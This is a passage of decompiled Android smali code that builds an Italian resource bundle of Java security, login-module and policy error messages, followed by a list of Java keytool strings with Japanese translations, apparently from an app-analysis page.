                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\tImpossibile accedere alla credenziale privata\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "Subject \u00e8 di sola lettura"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "si \u00e8 tentato di aggiungere un oggetto che non \u00e8 un\'istanza di java.security.Principal a un set Principal di Subject"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "si \u00e8 tentato di aggiungere un oggetto che non \u00e8 un\'\'istanza di {0}"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "Input nullo non valido: nome"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "Nessun LoginModule configurato per {0}"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "fornito un valore nullo non valido per Subject"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "fornito un valore nullo non valido per CallbackHandler"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "subject nullo - il logout \u00e8 stato chiamato prima del login"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "impossibile istanziare il LoginModule {0} in quando non restituisce un valore vuoto per il costruttore"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "impossibile istanziare LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "Impossibile creare un\'istanza di LoginModule: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "impossibile trovare la classe LoginModule: "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "impossibile accedere a LoginModule "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "Errore di login: tutti i moduli sono stati ignorati"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: errore nell\'\'analisi di {0}:\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: errore nell\'\'aggiunta del permesso {0}:\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: errore nell\'\'aggiunta dell\'\'entry:\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "impossibile fornire nome alias ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "impossibile eseguire una sostituzione sull\'\'alias, {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "valore sostituzione, {0}, non supportato"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "il tipo non pu\u00f2 essere nullo"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "Impossibile specificare keystorePasswordURL senza specificare anche il keystore"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "tipo di keystore previsto"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "provider di keystore previsto"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "espressioni Codebase multiple"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "espressioni SignedBy multiple"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy presenta un alias vuoto"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "impossibile specificare Principal con una classe wildcard senza un nome wildcard"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "previsto codeBase o SignedBy o Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "prevista entry di permesso"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "numero "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "previsto [{0}], letto [end of file]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "previsto [;], letto [end of file]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "riga {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "riga {0}: previsto [{1}], trovato [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "principalClass o principalName nullo"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "Password per token PKCS11 [{0}]: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "impossibile creare un\'istanza dei criteri basati su Subject"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_it;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • keytool \u30a8\u30e9\u30fc:
                                                                              • Illegal option:
                                                                              • \u4e0d\u6b63\u306a\u30aa\u30d7\u30b7\u30e7\u30f3:
                                                                              • Try keytool -help
                                                                              • keytool -help \u3092\u5b9f\u884c\u3057\u3066\u307f\u3066\u304f\u3060\u3055\u3044
                                                                              • Command option <flag> needs an argument.
                                                                              • \u30b3\u30de\u30f3\u30c9\u30aa\u30d7\u30b7\u30e7\u30f3 {0} \u306b\u306f\u5f15\u6570\u304c\u5fc5\u8981\u3067\u3059\u3002
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • \u8b66\u544a: PKCS12 \u30ad\u30fc\u30b9\u30c8\u30a2\u3067\u306f\u3001\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u9375\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u7570\u306a\u3063\u3066\u3044\u3066\u306f\u306a\u308a\u307e\u305b\u3093\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u6307\u5b9a\u3057\u305f {0} \u306e\u5024\u306f\u7121\u8996\u3057\u307e\u3059\u3002
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • -storetype \u304c {0} \u306e\u5834\u5408 -keystore \u306f NONE \u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093
                                                                              • Too may retries, program terminated
                                                                              • \u518d\u8a66\u884c\u304c\u591a\u3059\u304e\u307e\u3059\u3002\u30d7\u30ed\u30b0\u30e9\u30e0\u304c\u7d42\u4e86\u3057\u307e\u3057\u305f
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • -storetype \u304c {0} \u306e\u5834\u5408 -storepasswd \u30b3\u30de\u30f3\u30c9\u3068 -keypasswd \u30b3\u30de\u30f3\u30c9\u306f\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • -storetype \u304c PKCS12 \u306e\u5834\u5408\u3001-keypasswd \u30b3\u30de\u30f3\u30c9\u306f\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • -storetype \u304c {0} \u306e\u5834\u5408 -keypass \u3068 -new \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • -protected \u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3001-storepass\u3001-keypass\u3001-new \u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • -srcprotected \u3092\u6307\u5b9a\u3059\u308b\u5834\u5408\u3001-srcstorepass \u304a\u3088\u3073 -srckeypass \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001-storepass\u3001-keypass\u3001\u304a\u3088\u3073 -new \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001-srcstorepass \u3068 -srckeypass \u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093
                                                                              • Validity must be greater than zero
                                                                              • \u59a5\u5f53\u6027\u306f\u30bc\u30ed\u3088\u308a\u5927\u304d\u304f\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002
                                                                              • provName not a provider
                                                                              • {0} \u306f\u30d7\u30ed\u30d0\u30a4\u30c0\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Usage error: no command provided
                                                                              • \u4f7f\u7528\u30a8\u30e9\u30fc: \u30b3\u30de\u30f3\u30c9\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093
                                                                              • Usage error, <arg> is not a legal command
                                                                              • \u4f7f\u7528\u30a8\u30e9\u30fc: {0} \u306f\u4e0d\u6b63\u306a\u30b3\u30de\u30f3\u30c9\u3067\u3059
                                                                              • Source keystore file exists, but is empty:
                                                                              • \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u5b58\u5728\u3057\u307e\u3059\u304c\u7a7a\u3067\u3059:
                                                                              • Please specify -srckeystore
                                                                              • -srckeystore \u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • \'list\' \u30b3\u30de\u30f3\u30c9\u306b -v \u3068 -rfc \u306e\u4e21\u65b9\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • Key password must be at least 6 characters
                                                                              • \u9375\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f 6 \u6587\u5b57\u4ee5\u4e0a\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002
                                                                              • New password must be at least 6 characters
                                                                              • \u65b0\u898f\u30d1\u30b9\u30ef\u30fc\u30c9\u306f 6 \u6587\u5b57\u4ee5\u4e0a\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002
                                                                              • Keystore file exists, but is empty:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u30d5\u30a1\u30a4\u30eb\u306f\u5b58\u5728\u3057\u307e\u3059\u304c\u3001\u7a7a\u3067\u3059:
                                                                              • Keystore file does not exist:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u30d5\u30a1\u30a4\u30eb\u306f\u5b58\u5728\u3057\u307e\u305b\u3093:
                                                                              • Must specify destination alias
                                                                              • \u5b9b\u5148\u306e\u5225\u540d\u3092\u6307\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002
                                                                              • Must specify alias
                                                                              • \u5225\u540d\u3092\u6307\u5b9a\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002
                                                                              • Keystore password must be at least 6 characters
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f 6 \u6587\u5b57\u4ee5\u4e0a\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002
                                                                              • Enter keystore password:
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • Enter source keystore password:
                                                                              • \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • Enter destination keystore password:
                                                                              • \u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • \u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u77ed\u904e\u304e\u307e\u3059 - 6 \u6587\u5b57\u4ee5\u4e0a\u306b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Unknown Entry Type
                                                                              • \u672a\u77e5\u306e\u30a8\u30f3\u30c8\u30ea\u30bf\u30a4\u30d7
                                                                              • Too many failures. Alias not changed
                                                                              • \u969c\u5bb3\u304c\u591a\u3059\u304e\u307e\u3059\u3002\u5225\u540d\u306f\u5909\u66f4\u3055\u308c\u307e\u305b\u3093
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • \u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u306b\u6210\u529f\u3057\u307e\u3057\u305f\u3002
                                                                              • Entry for alias <alias> not imported.
                                                                              • \u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306f\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • \u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u4e2d\u306b\u554f\u984c\u304c\u767a\u751f\u3057\u307e\u3057\u305f: {1}\u3002\n\u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306f\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • \u30a4\u30f3\u30dd\u30fc\u30c8\u30b3\u30de\u30f3\u30c9\u304c\u5b8c\u4e86\u3057\u307e\u3057\u305f: {0} \u4ef6\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002{1} \u4ef6\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u304c\u5931\u6557\u3057\u305f\u304b\u53d6\u308a\u6d88\u3055\u308c\u307e\u3057\u305f
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • \u8b66\u544a: \u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u5185\u306e\u65e2\u5b58\u306e\u5225\u540d {0} \u3092\u4e0a\u66f8\u304d\u3057\u3066\u3044\u307e\u3059
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • \u65e2\u5b58\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u5225\u540d {0} \u304c\u5b58\u5728\u3057\u3066\u3044\u307e\u3059\u3002\u4e0a\u66f8\u304d\u3057\u307e\u3059\u304b? [no]:
                                                                              • Too many failures - try later
                                                                              • \u969c\u5bb3\u304c\u591a\u904e\u304e\u307e\u3059 - \u5f8c\u3067\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • Certification request stored in file <filename>
                                                                              • \u8a3c\u660e\u66f8\u8981\u6c42\u304c\u30d5\u30a1\u30a4\u30eb <{0}> \u306b\u4fdd\u5b58\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • Submit this to your CA
                                                                              • \u3053\u308c\u3092 CA \u306b\u63d0\u51fa\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • \u5225\u540d\u3092\u6307\u5b9a\u3057\u306a\u3044\u5834\u5408\u3001\u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u5225\u540d\u3001\u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3001\u304a\u3088\u3073\u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093
                                                                              • Certificate stored in file <filename>
                                                                              • \u8a3c\u660e\u66f8\u304c\u30d5\u30a1\u30a4\u30eb <{0}> \u306b\u4fdd\u5b58\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • Certificate reply was installed in keystore
                                                                              • \u8a3c\u660e\u66f8\u5fdc\u7b54\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • Certificate reply was not installed in keystore
                                                                              • \u8a3c\u660e\u66f8\u5fdc\u7b54\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002
                                                                              • Certificate was added to keystore
                                                                              • \u8a3c\u660e\u66f8\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3055\u308c\u307e\u3057\u305f\u3002
                                                                              • Certificate was not added to keystore
                                                                              • \u8a3c\u660e\u66f8\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002
                                                                              • [Storing ksfname]
                                                                              • [{0} \u3092\u683c\u7d0d\u4e2d]
                                                                              • alias has no public key (certificate)
                                                                              • {0} \u306b\u306f\u516c\u958b\u9375 (\u8a3c\u660e\u66f8) \u304c\u3042\u308a\u307e\u305b\u3093\u3002
                                                                              • Cannot derive signature algorithm
                                                                              • \u7f72\u540d\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u53d6\u5f97\u3067\u304d\u307e\u305b\u3093\u3002
                                                                              • Alias <alias> does not exist
                                                                              • \u5225\u540d <{0}> \u306f\u5b58\u5728\u3057\u307e\u305b\u3093\u3002
                                                                              • Alias <alias> has no certificate
                                                                              • \u5225\u540d <{0}> \u306f\u8a3c\u660e\u66f8\u3092\u4fdd\u6301\u3057\u307e\u305b\u3093\u3002
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • \u9375\u30da\u30a2\u306f\u751f\u6210\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • {3} \u65e5\u9593\u6709\u52b9\u306a {0} \u30d3\u30c3\u30c8\u306e {1} \u306e\u9375\u30da\u30a2\u3068\u81ea\u5df1\u7f72\u540d\u578b\u8a3c\u660e\u66f8 ({2}) \u3092\u751f\u6210\u3057\u3066\u3044\u307e\u3059\n\t\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u540d: {4}
                                                                              • Enter key password for <alias>
                                                                              • <{0}> \u306e\u9375\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002
                                                                              • \t(RETURN if same as keystore password):
